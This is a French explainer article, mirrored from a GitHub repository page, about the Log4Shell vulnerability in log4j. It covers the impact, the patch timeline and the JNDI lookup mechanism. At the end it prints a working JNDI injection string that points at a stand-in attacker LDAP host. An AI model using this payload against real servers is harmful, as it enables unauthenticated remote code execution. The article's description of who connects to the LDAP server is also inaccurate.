Giter VIP home page Giter VIP logo

log4j-article's Introduction

Log4J, Log4Shell, LogJam mais kesako ?

On en entend parler de partout. Sur Twitter, sur LinkedIn, sur les blogs et forums de sécurité, la faille Log4J (CVE-2021-44228 / CVE-2021-45046 pour les intimes) !

Alors, qu'est ce que log4j et qui est ciblé cette faille.

Log4J est le diminutif de "logging for java", il s'agit d'un outil de journalisation pour les programmes informatiques écrits en java. C'est l'outil le plus couramment utilisé pour ce besoin, la plupart des programmes java l'utilisent et c'est justement la popularité de cet outil, qui fait trembler internet ces derniers jours... On le retrouve PARTOUT !! Apple, Amazon, IBM, Cloudflare, Twitter, Steam, Minecraft et bien d'autre...

Quels sont les impacts de cette faille ?

La faille log4j et l'une des plus grosses failles de sécurité découverte cette dernière décennie. Le score de criticité de celle-ci est au plus haut (CVSS 10/10) et permet une compromission complète de la machine cible.

Elle permet une RCE ( Remote Code Execution ) c'est à dire, l'exécution de code, souvent malicieux, à distance. Oui oui, sans authentification, sans mot de passe, juste avec un message dans un chat (ou n'importe quelle entrée utilisateur, comme un champ dans un formulaire), on demande au serveur, d'exécuter du code.

Comment en est-on arrivé là ?

Le jeudi 9 décembre, la faille a été publiée sur internet, aux yeux de tous Sans laisser le temps aux développeurs de log4j de préparer la publication d'un patch de correction...

Le vendredi 10 décembre, la CVE est déclarée : https://nvd.nist.gov/vuln/detail/CVE-2021-44228 Un premier patch de correction de log4j est publié, mais la correction est incomplète et l'exploit toujours faisable. Un second patch de correction est publié pour corriger la faille, mais il ne faudra que quelques jours aux pirates pour la déjouer, ce qui donne lieu le 14 décembre à une nouvelle CVE (CVE-2021-45046)

Rapidement, une nouvelle version de log4j sort (2.16.0) et doit fixer de manière définitive ces deux CVE.

D'après Matthew Prince, CEO de Cloudflare, la première tentative d'exploitation de cette faille sur leurs infrastructures date du 1er décembre a 4:36:50 UTC soit 9 jours avant que la CVE soit déclarée. Les recherches de possibles compromissions doivent donc être ciblées a partir de cette date.

Le vecteur d'attaque qui a été utilisé (la méthode), ne date pas de décembre 2021 Des conférences en 2013 et 2016 lors de la blackhat US avaient déjà mis en lumière ce vecteur d'attaque. Mais personne ne l'avait testé sur log4j...

Mais alors concrètement, comment ça marche ?

La faille réside dans l'implémentation du module "Java Naming and Directory Interface" de log4j. Ce module permet de charger dynamiquement du code distant via plusieurs protocoles comme ldap, rmi, dns, etc...

Lorsque log4j va vouloir journaliser une donnée utilisateur (un message dans un chat, un champ dans un formulaire, ..) plutôt que prendre la donnée au format texte pour la journaliser, log4j va l'interpréter en langage java résultant de la faille de sécurité.

Il est donc possible, de préparer un message spécifique pour injecter du code malveillant. Par exemple, la commande suivante dans le chat du jeux Minecraft, va connecter toutes les personnes au serveur ldap "attackerserver.com" puis exécuter la fonction java "ExploitPayload"

${jndi:ldap://attackerserver.com:1389/ExploitPayload}

log4j-article's People

Contributors

vr00mm avatar

Watchers

 avatar

Forkers

robinsegura

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.